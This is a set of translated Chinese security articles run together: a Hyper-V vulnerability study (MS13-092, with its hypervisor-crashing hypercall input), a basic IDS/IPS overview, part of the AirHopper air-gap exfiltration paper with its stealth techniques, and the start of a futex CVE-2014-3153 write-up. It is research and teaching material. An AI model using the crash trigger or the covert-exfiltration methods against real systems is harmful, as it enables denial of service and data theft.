它的设计非常有趣，因为VSC通过VMBus发送（在其他数据包类型中）封装的SCSI命令，然后将其解析并转换为存储VSP的简单文件访问操作。
图6显示了在enlightened Linux客户机上实现合成存储设备所涉及的组件。
Child partition中的存储VSC将SCSI命令封装在所谓的vstor数据包中。
该数据包由VMBus驱动程序封装到VMBus数据包中，并通过上述环形缓冲区传输。 在root
partition中，VMBus驱动程序将数据包交给storvsp.sys驱动程序，该驱动程序将其分派到vhdump.sys驱动程序中的相应处理程序函数中。
图7显示了这种SCSI命令处理程序的示例。 请注意BSWAP指令的使用，该指令用于在大端SCSI协议和小端系统架构之间进行转换。
图7 SCSI命令处理程序
为了评估存储VSP的安全性，我们再次从基本fuzzing开始。
这种率直的做法被证明是不可行的，因为vstor和vmbus数据包的fuzzing导致存储VSC的永久性崩溃，并因此导致整个child
partition的崩溃。
为了解决这个问题，我们改进了fuzzing测试框架，允许对执行的SCSI命令进行细粒度fuzzing：我们的fuzzer使用kprobes接口，它允许hooking几乎任意的内核函数。
通过挂钩通用VMBus packet_send函数并根据调用者操作传递的参数，我们可以将fuzzing限制为不会触发永久VM崩溃的数据。
当然，这会减少主动fuzz面，因此需要通过手动分析来提供这种方法。
最后，我们没有发现存储VSP中的任何关键漏洞。 然而，我们的分析非常有限，并且由于普通fuzzing的无效性，人工分析是绝对必要的。
## 4 HYPERCALL API
我们要在本文中讨论的最后一个组件是Hypercall API。 Hyper-V中的hypercalls类似于系统调用，但在来宾内核和hypervisor之间运行。 它们被enlightened
partitions用于增强性能并启用VMBus等高级功能。 此外，根分区使用管理超级调用来管理所有其他分区。
API本身非常强大，包括创建和销毁新分区，设置和读取不同VM的寄存器值等功能。 当然，此类功能受权限检查保护，通常仅限于root partition。
图8 HvGetVPRegisters说明文档
与VMBus及其合成设备相比，Microsoft在Hypervisor顶级功能规范中完全记录了Hypercall API。
例如，图8显示了HvGetVPRegisters这个hypercall接口描述，它允许对虚拟机的寄存器进行读访问。
所有其他可用的超级调用都以相同的格式记录。
图9 host_rip涉及vmwrite的相关VMCS 字段
为了审计hypercalls，我们首先要识别相应的处理函数。 使用第2.7.2节中概述的方法，我们可以通过搜索相应的VMWRITE指令快速识别主VM
exit处理程序，如图9所示。
所有hypervisors的VM exit处理程序遵循相同的基本结构：
1. 1.存储Guest State
2. 2.根据exit的原因调用相应的处理函数
3. 3.恢复Guest State
基本hypercalls的接口如下所示：
1. 1.将调用号存储在RCX中
2. 2.将指向输入的Guest物理地址存储在RDX中
3. 3.将指向输出的可写内存的GPA存储在R8中
最后，执行VMCALL指令以触发VM exit。 通过识别VMCS退出原因为VMCALL时调用的函数，我们可以识别负责处理hypercalls的代码。
通过分析此功能，我们可以快速识别处理hypercalls的主要数据结构，如图10所示。
图10 Hypercalls 处理程序表
利用此数据结构，可以快速识别所有相关的处理函数。 在审计单个hypercall处理程序的漏洞时，我们有几个优势：首先，处理函数本身是相对孤立的。
这样只有一个目的，可以更容易地识别被调用函数的功能。 其次，因为输入和输出接口由顶级规范记录，所以关于实际代码流的推理相对容易。
图11显示了HvGetPartitionId超级调用的处理函数。 在每个处理函数的开始处，RCX寄存器指向输入位置，而RDX指向输出。
两个内存区域都不直接映射到VM内存。 而是在启动处理程序之前复制输入，并在处理程序完成后将输出写入VM内存。
这消除了在处理程序运行时操纵hypercall输入的可能性，因此排除了整个类型的漏洞。
图11 HvGetPartitionId处理程序
当实际审核hypercall处理程序本身的漏洞时，我们可以快速识别一个大问题：最关注的功能仅适用于root
partition，并受到严格的早期权限检查的保护。 但是，在实际的hypercall处理程序执行之前，会执行大量检查。
当我们查看它们时，我们很快发现了导致MS13-092的一个关键问题。
## 5 MS13-092
在调用实际的hypercall处理程序之前，将执行多个健全性检查。 例如，必须确保hypercall实际上来自VM的ring0层。
此外，还执行输入和输出GPA的完整性检查。 它们是否正确对齐？ 它们看起来“合理”吗？
图12 GPA输入检查
其中一项检查如图12所示：输入的GPA存储在RSI寄存器中，并根据位图进行检查。 如果输入的GPA太大，则会引发错误情况。
漏洞位于错误处理函数之一的调用堆栈中：
图13 EPT 错误处理程序
图13显示了负责处理EPT（Extended Page Table）错误的函数。 当VM触发正常的EPT违规时，也会在设置上述错误条件时调用它。
图14 越界内存访问
如果EPT破坏是由内存读取触发的，则名为ept_read_error的函数会被调用。
在无效输入GPA作为hypercall参数的情况下执行的代码路径也是如此。 在函数开始时，RDX容纳攻击者控制的输入GPA。
然后将RDX复制到RAX，向右移动12位。 该值用作控制VM的页表项（page table entries PTE）的页表索引。
页表的目的是将客户物理页面映射到系统页表项。 每个VM只有一个这样的表，有趣的是它们以相互恒定的偏移量分配。
因为输入GPA几乎可以任意大小，所以阵列访问可以用于访问页表范围之外的内存。 通过触发无效的内存访问非常容易导致hypervisor崩溃。
输入GPA设置为0x4141414141的任何有效超级调用编号都将足以导致整个hypervisor的Hyper-V蓝屏和拒绝服务（DoS）情况，同时也包括所有操作的客户：
图15 Hyper-V蓝屏
我们向Microsoft报告了此错误，并于2013年11月在公告MS13-092中进行了修补。
有趣的是，Microsoft将此错误视为不同分区之间潜在的权限提升。 所以我们决定深入研究如何将这个bug从DoS转变为PrivEsc。
图16 简化的伪代码
图16显示了易受攻击的函数的简化版本。 在大多数情况下它将简单地返回0，并且仅当PTE中的页面帧号（page frame number
PFN）等于某个值时才执行相关操作。
分析Microsoft提供的补丁显示，作为唯一明显的变化，在函数调用前进行另外的大小检查，在失败时强制返回0。
这意味着在易受攻击的函数返回0之后执行的所有代码路径，对于利用漏洞都将失效。
总之，我们必须找到一种方法来读取包含“特殊”PFN号码的PTE（来自不同的VM），以便触发潜在的恶意内存访问。
使用纯静态分析，我们无法识别此PFN的用例，并且我们实验室中的VM未使用它。 这可能意味着它仅在某些可能与配置相关的情况下使用。
由于64位地址空间较大，且输入GPA值具有上述上限，并不能试图读取完全由攻击者控制的变量值。
如果攻击者能够通过此检查，他就可以获得有趣的代码。 但是，能够影响的只有PTE和输入GPA这两个值。
由于上述的PFN检查，这些影响都非常有限，所以对下一个执行步骤比较受限。
不仅无法把违规读内存转换为某种写内存损坏，而且将PTE从一个VM映射到另一个的可能性也同样是一个问题。尽管我们还没有利用这个特定问题的简单方法，但我们将进一步分析补丁和结果行为，并鼓励其他研究也这样做。
## 6 进一步研究和结论
本文总结了我们所做的关于Hyper-V安全性的研究。
尽管大部分时间都在详细理解架构，描述VM突破攻击的攻击面，但是也发现了处理hypercalls时的一个关键漏洞。
基于这项工作，我们计划对其他VSP进行更详细的分析，并开发技术来改进我们的fuzzing功能（主要是改善崩溃恢复/减少客户机崩溃的总体数量/需求）。
此外，分析不同版本Hyper-V的静默修补漏洞似乎是一项很有前景的活动，我们计划在今年晚些时候展示这些。
我们的研究表明，hypervisors是庞大而复杂的软件，具有显着的攻击面。 即使“虚拟隔离”这个术语现在非常流行，我们的研究表明这个隔离远弱于物理隔离。
虽然Hyper-V是可靠的软件，开发时考虑了安全性，但它仍然存在严重的安全漏洞。 这应该推动其他研究人员利用我们的结果，介入Hyper-V巨大的攻击面分析，跟随古老的“Make the Theoretical Practical”黑客精神！ | 社区文章 |
# 【安全科普】基于网络的入侵检测和入侵防御系统
|
##### 译文声明
本文是翻译文章，文章来源：securitydocs.com
原文地址：<https://securitydocs.com/network-based-intrusion-detection-and-intrusion-prevention-systems/5061/#using-machine-learning-to-implement-intrusion-detection>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**概要**
在本文中，我们将为读者详细介绍 **入侵检测** 和 **入侵防御系统**
（IDS/IPS），它们是实现网络安全的最重要的机制之一。在过去几年，网络攻击的威胁数量成倍增加，几乎每隔一个月就会出现数据泄露的相关报道。虽然基于网络的IDS/IPS并非新技术，但却是我们在实现网络安全方面必须要了解的一个领域。在本文中，我们不仅会为读者全面介绍IDS/IPS，还将提供高水平的设计思想，以及在不同的IT环境中的实现方式。本文包括以下主题：
**什么是基于网络的IDS和IPS**
**什么是基于主机的IPS/IDS及其优缺点**
**企业级IDS/IPS的设计**
**基于设备的设计**
**基于路由器的设计**
**基于防火墙的设计**
**针对云环境的IDS/IPS设计**
**针对智能IOT设备的IDS/IPS设计**
**使用机器学习实现入侵检测**
**什么是IDS和IPS**
入侵检测系统（IDS）是一种用于通过 **实时监控网络流量** 来 **定位和识别恶意流量**
的软件。我们知道，对于不同的工作要求，要选用正确的工具，这一点非常重要。IDS在网络中的位置是非常关键的设计考量。IDS通常放在防火墙的后面，但是在决定部署IDS系统之前，对流量和完整的网络设计的深入了解是至关重要的。同时，我们推荐使用多个IDS系统来保护整个网络。实际上，入侵检测的方法有很多，比较常见的有：
**使用签名**
：供应商可以根据IDS系统中实现的2000个签名来匹配网络流量的模式。签名本质上是已知攻击的模式，这些模式被保存在IDS系统的数据库中。每当一个新的数据包到达网络时，它都会分析与数据库中现有签名的相似之处。如果发现匹配，则会发出警报。
**行为异常** ：为客户的某些用例实现基准。例如，如果单位内30个人同时打开一个连接为单位，以5倍为阀值，那么如果同时打开超过30×5 =
150个连接的话，则视为异常请求，就会生成警报。
**协议异常** ：可能存在基于协议的异常，如系统中的合法协议为HTTP，如果出现其他协议的请求，或者在网络中检测到某些未知命令违反常规协议，则生成警报。
**
**
**入侵防御系统（IPS）**
入侵检测系统并不能阻止攻击，而只是发出警报。如果部署了入侵防御系统（IPS），就可以有效地确保阻止攻击，因为它本身就位于网络中，并且所有流量到达服务器之前必须先通过IPS。所以，恶意软件将无法到达服务器。
设计注意事项
**1\. IDS通常放置在防火墙的后面。**
**2\. 在上述设计中，1号位置的IDS用于保护Web服务器。**
**3\. 2号位置的IDS用于保护网络的其余部分免受恶意软件攻击。**
**4\. 这是一个网络IDS，而不是基于主机的IDS，这意味着它可能无法检测两个对等主机之间生成的恶意软件。
例如，如果在DNS和Exchange服务器之间出现的恶意软件，由于数据包可能不会通过IDS系统，因此就可能无法检测到该攻击。**
**基于主机的IDS/IPS**
基于主机的IDS将监视单个系统，通常运行在需要保护的主机上。它会读取主机上的日志，并进行异常检测。基于主机的IDS系统虽然可以检测到异常情况，但是这些都是在攻击事件完成后。基于网络的IPS将检测网段中的各种数据包。如果基于网络的IPS设计得比较到位的话，就完全可以替代IPS。基于主机的IDS系统的另一个缺点是，它们可能需要部署到网络中的所有主机上；假设有5000台主机，那么所有主机都需要许可，那么这将是一笔不小的开支。
**
**
**基于设备的IDS/IPS**
您可以安装针对物理服务器或虚拟服务器的入侵检测系统。这种情况下，您需要两个接口，分别用于传入和传出网络流量的检测。您也可以在虚拟机中的Ubuntu服务器上安装Snort等IDS软件。
**
**
**基于路由器的IDS/IPS**
路由器是大多数网络流量的必经之路。特别是通往外部网络的路由器可以直接连接到互联网。这使得这些路由器成为网络安全设计中的安全要塞，也可以作为IDS和IPS系统的安装地点。目前，已经有许多第三方软件可以与路由器集成，以此构筑外部威胁的第一道防线
**
**
**防火墙上的IDS/IPS**
防火墙和IDS之间的区别是，防火墙会检测来自网络外部的入侵并阻止它们进入网络，但是它不监视网络内部，尽管某些攻击活动是从网络内部发起的。许多供应商已经在防火墙中集成了IPS和IDS，从而为防火墙提供了额外保护功能，例如Palo
Alto Networks就提供了这样的防火墙。
**
**
**针对云环境的IDS/IPS设计**
对于将其应用程序完全托管在公共云上的客户来说，他们通常希望自己来实现IDS系统，而不是由云提供商提供。例如，尽管亚马逊提供了安全层，同时我们还可以利用Snort
IDS的社区映像来监视和感知各种威胁。Sourcefire也提供了支持亚马逊的Snort
IDS，同时也提供了实施安全解决方案的有偿服务。一家位于加州的MetaFLow
Inc公司也可以提供恶意软件检测服务，并且可应用于亚马逊和VMware虚拟机管理程序的产品。这对于在私有云和公有云上托管应用程序的混合云环境而言将特别有用。
**
**
**针对智能IOT设备的IDS/IPS设计**
随着互联网的发展，IOT设备和传感器越来越流行，因此针对这些设备的保护软件将变得越来越重要。由于这些传感器或设备的尺寸和性质各不不同，因此IDS也需要将根据设备的容量（CPU，RAM）进行定制。这是一个相对较新的领域，也是各种安全攻击的重灾区。
CUJO是一种为家庭自动化系统提供商业级安全防护的设备。它是一个预建好的防火墙/IDS系统，不仅可以完成威胁分析，还可以实现威胁防护。
CUJO的另一个特点是，它将连接到一个基于云的数据库，智能地查询和检查数据包的行为异常。该数据库通过其他受保护的家庭的签名或模式不断进行更新，从而实现了所有互联的CUJO设备之间的安全信息共享。
**基于机器学习的入侵检测**
现在，许多机器学习算法都可以用来检测异常并发出警报。例如，在上午4:00从某人获得电子邮件的可能性是多少，或者A每天向B发送多少封电子邮件——机器学习算法能够学习这些行为，如果行为发生变化，它就会立即发出警报。此外，机器学习也能够使用马尔科夫模型来检测由BOT发送的url请求。人类编写的网站名称中可能有笔误，但机器人编写的网站名称则是随机的，机器学习算法可以对此进行判别。聚类方法可以基于相似性对数据进行分组。例如，从内部网络到公司的Web服务器的流量可能具有某种模式。有研究证明，在90％的时间内，只有10％的数据会被访问。但是，如果存在恶意软件攻击，可能会尝试搜索多年未被访问的数据，这将引发一个警报。
**
**
**结论**
当我们进行网络安全设计时，需要考虑的一个关键因素是找出IDS/IPS的恰当安装位置。我们可以根据具体的网络和客户环境，来实现各种设计方法。随着IOT和智能设备的普及，针对这些设备的IDS系统的重要性也应该倍加重视。目前，之所以大多数网络攻击都能得逞，正是由于缺乏足够的入侵检测系统所导致的。 | 社区文章 |
# AirHopper：使用无线电突破独立网络和手机物理隔离（下）
|
##### 译文声明
本文是翻译文章，文章原作者 arxiv.org
原文地址：[Mordechai Guri](Mordechai Guri)
译文仅供参考，具体内容表达以及含义原文为准。
## 传送门
[AirHopper：使用无线电突破独立网络和手机物理隔离（上）](https://www.anquanke.com/post/id/95429)
## 5.隐身
为了在传输过程中保持隐身，AirHopper使用多种技术来实现视觉和被传送信号的隐身。
### 5.1 视觉隐身
本节将解释如何在电脑屏幕上实现所传输数据的视觉化隐身。推荐的三种技术利用的是配有附加显示器的标准化通信方式。HDMI、DVI和VGA
显示器以及VDU（视频显示单元）采用的是显示数据通道（DDC）协议族 。
显示数据通道命令接口（DDC/CI）本身是计算机显示器和VDU之间的一种双向通信协议。显示器控制命令集（MCCS）是一种由视频电子标准协会（VESA）制定的标准，特指通过DDC/CI通信协议控制显示器的命令集。
#### 5.1.1 在显示器关闭状态下发射信号
通过使用DDC/CI，发射器能够在确定显示器处于关闭后才开始发射信号。当计算机在预定期间内处于空闲状态时，显示器会因为电源的节能设置而进入关闭状态。一旦发射器检测到显示器重新开启，它就会停止发射信号。需要注意的一点是，由于VDU会不断产生信号，而显示器电缆仅作为天线加以使用，因此信号传输只会在显示器关闭的状态下有效进行。从技术上讲，通过检查DDC/CI的电源控制状态（地址
0xe1）可以确定显示器的状态。发射器对这一状态进行持续采样，并同时在一个专用线程中对ioctl（I/O控制）进行顺序询问。0 表示屏幕处于关闭状态。
#### 5.1.2 关闭显示器
通过使用
DDC/CI，传输代码也可以发送有意关闭显示器的命令。这种方法可以同样应用于屏幕保护程序；代码能够监视用户的计算机活动，并等待一段空闲时间。如果计算机处于闲置状态，它将关闭监视器并启动数据传输，直至检测到出现相关活动（如移动鼠标或敲击键盘）。然后它将停止数据传输并重新打开显示器，所有的表现都和正常的屏幕保护程序或电脑节电功能相同。与前面的方法类似，通过使用
ioctl 编写1或0至0xe1，完成打开或关闭显示器的操作。
#### 5.1.3 将显示器切换到另一台计算机
在用户电脑屏幕上实现所显示图像隐身的另一个方法是利用通用的键盘视频鼠标（KVM）切换器。KVM开关是一种可以允许桌面基本外围设备、键盘鼠标和显示器在多台计算机之间共享的设备。通过单击KVM切换器上的一个按钮或使用键盘组合键，用户就可以在不同电脑之间切换。由于KVM切换器允许用户在一张办公桌上舒适地使用多台计算机，通常用于拥有物理隔离网络的企业。通过使用DDC/CI，发射器可以检测出KVM在不同计算机之间切换的时间，并据此相应地开始或停止传输数据。
#### 5.1.4 使用辅助显示输出
本文测试的另一种方法是：迫使VDU在某个特定的视频输出上进行数据传输，即使它没有检测到可连接的显示器。当一台计算机（笔记本电脑或台式机）有多个显示输出时，这一功能将会非常有用。传送的代码可以检测到当前正在使用的是哪一个视频输出，并将传输重定向至某个闲置输出。由于大多数情况下只有一根显示电缆处于连接状态，而在没有显示电缆作为天线的情况下进行数据传输要求与接收器保持极近的距离，因此该方法仅适用于使用者将其手机放置在紧靠笔记本或台式机的情况下。另一种情况是，当笔记本电脑或台式机在会议室中使用时，其与投影仪之间拥有辅助的持久性连接。由于投影仪输出在大部分时间内处于关闭或连接断开状态，因此为进行长时间的数据传输提供了不易为人所觉察的良好机会。我们的测试也表明，通常用于连接投影仪的非屏蔽式长电缆也十分适用于高质量传输，且可以通过相邻房间里的手机予以接收。
### 5.2 信号隐身
另一种检测风险是被传输信号的意外接收情形。由于调制传输数据的系统使用的是可听的音调频率，因此如果将一台常规的FM接收器调到用于传输的载波频率，则会生成可能引起嫌疑人警惕的音调。为了减少这种被意外检测到的风险，我们将手机的FM接收频段扩展至
76MHz-108MHz，将传输载波频率调整至80MHz。
只有极少数国家（如日本）在76MHz～87.5MHz之间进行FM传输。世界其他地方的大多数FM接收器不允许在这个范围内进行收听或搜索无线电信号。然而，我们发现，虽然手机的FM芯片实际上支持非标准范围，但上层的软件层却对此加以禁用。通过在扩展范围中进行数据传输，可以在大多数国家中避免被偶然发现。在接收手机上，我们通过使用smali反汇编程序修改Samsung框架，从而扩大接收的频率范围[17]。从技术上讲，该框架文件位于
/system/framework目录下。通过将BAND_76000_108000_kHz的值设置为
1，我们对com.android.server数据包中的FMRadioService类进行了更改。这种在操作系统级代码上的更改无法被手机用户所察觉。与此同时，使用一个非标准的频段既有助于避免与当地的无线电广播产生冲突，也可以允许使用更广泛的可用传输频率。另一种防止被意外检测到的方法是改变手机的频率搜索间隔，将从默认的200KHz改为50KHz。这允许发送器和接收器代码微调到许多FM接收器不允许对普通用户开放的载波频率，从而避免遭遇意外检测的风险。
## 6\. 评估
在本节中，我们将评估假定的数据攫取方法的可行性和有效性。用于提高效率的主要措施包括发射的信号强度、有效的广播距离、传输速率、传输质量、电池消耗和扫描时间。影响因素包括电缆类型、接收机天线存在与否、调制方法（A-FSK或DTMF）、载波频率、信号延时、所发送的数据大小以及发送频率的范围。在给出相关实验设置的简短描述之后，下文进一步解释了用于提高效率的多种措施及其影响因素，阐述了它们之间的相关性。
### 6.1 实验设置
所使用的显示器是三星SyncMaster SA450。操作系统是64 位Ubuntu
13.04（代号raring）系统，内核为3.8.0-29-generic。
手机是三星 GT I9300 Galaxy S3。Android版本是三星 stock 4.1.2。基带版本是 I9300XXEMC2。内核版本是
3.0.31-1042335。无线电芯片是芯科实验室Si4705 FM无线电接收器IC。我们使用的是手机标配的 1.22 米（4
英尺）立体声耳机。需要注意的是，在这款手机中，耳机被用作 FM 接收器的天线。
我们使用四种类型的电缆来连接计算机的显示器：（I） 标准VGA电缆，1.52 米（5 英尺）、30V、接口类型15pin、正极对正极； （II）
标准VGA电缆，0.91 米（3 英尺）、HD15、正极对负极，通常用来作为投影仪延长线；（III） HDMI电缆，0.91 米（3
英尺）、30V。（IV） DVI 电缆，1.82 米（6 英尺）、30V。下文将这些缆线分别简述为标准VGA、扩展 VGA、HDMI和DVI。表 1
提供了电缆类型的相关分类（即屏蔽/非屏蔽、 模拟/数字）。
**表1 电缆分类**
### 6.2 信号强度
随着与发射器之间的距离逐渐增加，接收到的信号强度预计将会逐渐下降。我们测量了不同距离处的接收信号强度指示 （RSSI）（见 图 3）以及
dBm（毫瓦分贝，见图 4）。RSSI通常是由芯片API显示的信号质量指标。RSSI 的测量可以通过调用IFMPlayer的getCurrentRSSI
函数完成，其隶属于 FM 收音机播放器内置的一项三星公司服务。可以使用外置的频谱分析仪测定 dBm 的值。RSSI
的测量显示值与有效距离相关；若RSSI刻度上的测量值为10，则大致表示每根被测电缆的有效距离限值。
图3 使用A-FSK时，不同距离处的信号强度（RSSI）。
（由移动电话的FM接收器测得）
图4 使用A-FSK时，不同距离处的信号强度（dBm）。
（由外置的频谱分析仪测得）
### 6.3 有效距离
有效距离是发射器和接收器之间的最大距离，此时的传输质量仍处于可接受的程度。从图 5 中可以看出，使用接收天线时，非屏蔽电缆（扩展
VGA）的有效距离会显著大于屏蔽电缆（HDMI 和标准 VGA）。总而言之，当接收天线存在时，这两种类型电缆的有效距离大约为8~20
米，符合我们的实验要求。
一些新型号的手机都配备了内置的FM天线，则不再需要使用耳机。
图5 使用A-FSK时，不同距离处的信号强度（RSSI）。
### 6.4 数据调制方法
信号发送方法（即 A-FSK或DTMF）也会对有效距离产生一定的影响。从图 6中可以看出，A-FSK能够产生的有效距离稍长一些。
图6 使用A-FSK和DTMF时，不同类型电缆在有接收天线的情况下的有效距离
### 6.5 传输质量
传输质量（也指“成功率”）表示的是每原始发送字节中正确接收到的字节比率。这一比率采用不同的信号延迟加以衡量，即为传输一个字节所分配的数据时间间隔
（以毫秒为单位）。
如图7
所示，传输质量和信号延迟之间的相关性呈对数关系，逐渐接近100%。若信号延迟超过70ms，额外的传输质量似乎可以忽略不计。之所以将延时时间设置为70ms较为合理，其原因是延迟时间越长会导致传输速度变慢，以致无法明显地改善传输的质量。
图7：使用DTMF时，不同信号延迟情形下的传输质量
正如表格2所示，我们测量了每种类型电缆在不同距离处的传输质量（或成功率）。信号延迟为最优值70
毫秒。该表中显示的测量值为0.3m、6.2m以及传输质量处于可接受程度下的最大距离（或有效距离）处的传输质量。可以看出，不同类型电缆的最大距离值不同。
表 2 中的数值反映的是传输质量；在达到最大距离之前（因电缆类型的不同而有所差异），这一数值随着距离的增大几乎保持在固定不变的高数值上。
**表 2：使用DTMF时不同距离处的传输质量**
### 6.6 数据大小
有效的数据攫取行为将实际限制放置在传输时间上。在被入侵的计算机上运行的传输程序应隐藏自身的活动，限制所收集数据被广播的安全时间间隔。此外，接收手机不会无限期地处于发射器的有效范围内。
在表格3中显示了各种类型文件（典型大小）使用原始数据或结构化数据包传输方式时所需的传输时间（如“实施”一节中所描述的）。实验发现，70ms延迟是最佳的选择。传输极少量数据（100
字节以下，如IP&MAC或密码）所需的时间少于10秒，这看来还可以接受。传输少量数据（10 KB以下，如系统信息或单日键盘记录）
将需要几分钟的时间，这似乎也可以接受。然而，传输约0.5 MB 大小的文件将花费数小时时间，这似乎是不能接受的。
**表格 3：不同数据大小的传输时间（70毫秒延迟）**
## 7\. 应对策略
之所以将延时时间设置为70ms较为合理，其原因是延迟时间越长则会导致传输速度变慢，以致无法明显地改善传输的质量。技术型对策包括 （a） 物理隔离、（b）
基于软件减少所载信息的发射量和 （c） 信号的早期加密。
程序型对策包括官方的规范和标准，以及法律或组织的支持。与Tempest相关的美国和北约标准在整个冷战期间都属于高度机密信息。虽然最终有部分标准得以泄露或公开发布，但亦遭到严重删减，而更多的信息文件，特别是涉及防御对策的文件仍属于机密一类[18]。现行标准的目的在于限制户外给定距离下、或使用绝缘材料时对等情况下可检测的调制RF信号的水平。实际上，合格的设备将按照“地区”进行分类，即指需要加以控制以防止接收信号的边界[19]。作为应对类似本研究中攻击的一种对策，
“地区”划分方法应该用于指定机构内部的物理区域，在此区域内禁止携带手机或其他无线电接收器。另一个对策是确保使用唯一的正确屏蔽电缆。正如我们的实验所示，屏蔽可以对有效范围产生影响。
## 8\. 相关工作
谈及信号的发射安全 （Emsec），Anderson在其文[19]中给出了极为详实的叙述：应预防使用传导或辐射的电磁信号构成的泄密发射攻击。1985
年，van Eck[11] 演示了如何使用相当普通的设备和技能来生成Tempest漏洞。
通过使用一台改进的电视机，他设法重现了一幅由远距离处的视频显示单元（VDU）所生成的电磁信号构成的图像。20世纪90年代后五年内，一些与Tempest有关的研究和出版物[12][13]极大地增加了公众的兴趣。这一趋势继而被网络加以扩大，网络或是提供了一个窥探Tempest[18]保密性官方标准的机会，或是提供了有关Tempest的详细说明和指南[14]。Kuhn和Anderson[12][13]表示，无论采用防守还是进攻的方式，目前都可以经由合适的软件操作在一台PC上实现众多泄密发射。Thiele[14][20]提出了一份名为“Tempest
for
Eliza”的开源项目，尝试使用电脑显示器发射AM无线电信号。随后，所生成的音乐可以经由某个电台予以接听。Kania[15]通过软件程序集生成FM无线电信号，然后使用一个VGA显卡加以发送。在我们的实践中，为了提高信号的质量，我们通过使用不同的技术来生成FM信号。
## 9\. 结论
从物理隔离网络中攫取数据并不是一项简单的任务。但我们在本文中所阐述的AirHopper分支型攻击模式却能够成功完成这一富有挑战性的任务。该方法的核心由两个基本要素组成：（a）
基于计算机显示器电缆中发出的电磁信号进行有意地数据调制；（b）
手机中的FM接收器可以收集传输的信号，并提取调制的数据。整个过程的攻击链虽然相当复杂，但并没有超过现代高级持续性威胁（APT）所采用的技能和操作水平。所提出的评估方法包括诸如有效传输距离、电缆型号、
接收器天线存在与否等多种方法的实验性测量情况。
AirHopper增加了对电磁发射威胁以及APT技术的了解。近期的学术文献尚未对这一研究领域进行充分的讨论与探究。本文认为，针对这种威胁所进行的专业和学术的讨论，最终将满足社会在网络防御方面的利益需求。
## 参考文献
[1]Nokia, “Nokia Corporation Interim Report for Q2 2013 and January-June
2013,” 2013.
[2]Gartner, “Gartner Says Smartphone Sales Grew 46.5 Percent in Second Quarter
of 2013 and Exceeded Feature Phone Sales for First Time,” 14 August 2013.
[Online]. Available: <http://www.gartner.com/newsroom/id/2573415>. [Accessed
15 September 2013].
[3]phoneArena.com, “phone finder,” 2013. [Online]. Available:
<http://www.phonearena.com/phones>. [Accessed 8 October 2013].
[4]M. Stroh, “Windows Phone Blog,” Microsoft, 14 May 2013. [Online].
Available:
<http://blogs.windows.com/windows_phone/b/windowsphone/archive/2013/05/14/nokia-s-first-metal-windows-phone-arrives-meet-the-sexy-lumia-925.aspx>. [Accessed 8
October 2013].
[5]National broadcaster association, “Equipping Mobile Phones with Broadcast
Radio Capability for Emergency Preparedness,” September 2013. [Online].
Available:
<http://www.nab.org/documents/advocacy/FMEnabledPhones/RadioEnabledPhonesIssueSheet.pdf>.
[Accessed 8 October 2013].
[6]Q. Z. P. R. B. T. Clark A., “An impact-aware defense against Stuxnet,” in
American Control, 2013.
[7]J. Larimer, “An inside look at Stuxnet,” IBM X-Force, 2010.
[8]W. J. L. III, Defending a New Domain, 2010.
[9]C. A. E. I. K. A. Hamandi K., “Android SMS Malware: Vulnerability and
Mitigation,” in Advanced Information Networking and Applications Workshops,
2013.
[10]R.-P. Weinmann, “Baseband Attacks: Remote Exploitation of Memory
Corruptions in Cellular,” in Usenix, 2012.This is a slightly revised version
of the paper accepted by the 9th IEEE International
Conference on Malicious and Unwanted Software (MALCON 2014).20
[11]W. van Eck, “Electromagnetic Radiation from Video Display Units: An
Eavesdropping Risk?,” Computers and Security 4, pp. 269-286, 1985.
[12]M. G. Kuhn and R. J. Anderson, “Soft Tempest: Hidden data transmission
using electromagnetic emanations,” in Information hiding, Springer-Verlag,
1998, pp. 124-142.
[13]M. G. Kuhn, “Compromising emanations: Eavesdropping risks of computer
displays,” University of Cambridge, Computer Laboratory, 2003.
[14]E. Thiele, “Tempest for Eliza,” 2001. [Online]. Available:
<http://www.erikyyy.de/tempest/>. [Accessed 4 10 2013].
[15]B. Kania, “VGASIG: FM radio transmitter using VGA graphics card,” 19 4
2009. [Online]. Available: <http://bk.gnarf.org/creativity/vgasig/vgasig.pdf>.
[Accessed 4 10 2013].
[16]Google, “Android API: AudioRecord,” 02 11 2013. [Online]. Available:
<http://developer.android.com/reference/android/media/AudioRecord.htm>.
[Accessed 03 11 2013].
[17]”smali. An assembler/disassembler for Android’s dex format,” [Online].
Available: <https://code.google.com/p/smali/>.
[18]J. McNamara, “The Complete, Unofficial TEMPEST Information Page,” 1999.
[Online]. Available: <http://www.jammed.com/~jwa/tempest.html>. [Accessed 4 10
2013].
[19]R. J. Anderson, “Emission security,” in Security Engineering, 2nd Edition,
Wiley Publishing, Inc., 2008, pp. 523-546.
[20]E. Thiele, “Tempest for Eliza (updated Readme file),” 2004. [Online].
Available:
<http://www.olifantasia.com/projects/gnuradio/mdvh/videocard_rf_output/readme.fm.txt>.
[Accessed 4 10 2013].
[21]USAF, “AFSSI 7700: Communications and information emission security,”
Secretary of the Air Force, 2007. | 社区文章 |
### 简介
#### 漏洞详情
[CVE-2014-3153](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3153)是一个相当经典的提权漏洞，影响范围相当广泛，这实际上是一个Linux内核的uaf漏洞。神奇小子Geohot也利用了这个漏洞，开发出TowelRoot（简单粗暴的安卓root工具）。膜拜发现此漏洞以及写出exp的大牛。
#### 什么是Futex
Futex（Fast Userspace muTexes），按英文翻译过来就是 **快速用户空间互斥体**
，设计目的是加速glibc层的互斥访问速度，在不必要的情况下，Futex可以在用户空间就处理互斥访问（仍然需要进入内核，因为futex函数是系统调用，但开销相对内核互斥量非常小，就是简单的判断一下uaddr的值），而不进入内核互斥量，大大的减小了内核的开销。简单的说，futex就是通过在用户态的检查，（motivation）如果了解到没有竞争就不用陷入内核了，大大提高了low-contention时候的效率。 Linux从2.5.7开始支持Futex。
### 漏洞成因
#### 1\. relock
relock存在于futex_lock_pi()
下面让我们看下futex的流程
在futex系统调用内部是通过do_futex()完成具体操作
linux/kernel/futex.c
long do_futex(u32 __user *uaddr, int op, u32 val, ktime_t *timeout,
u32 __user *uaddr2, u32 val2, u32 val3)
{
int cmd = op & FUTEX_CMD_MASK;
unsigned int flags = 0;
if (!(op & FUTEX_PRIVATE_FLAG))
flags |= FLAGS_SHARED;
if (op & FUTEX_CLOCK_REALTIME) {
flags |= FLAGS_CLOCKRT;
if (cmd != FUTEX_WAIT_BITSET && cmd != FUTEX_WAIT_REQUEUE_PI)
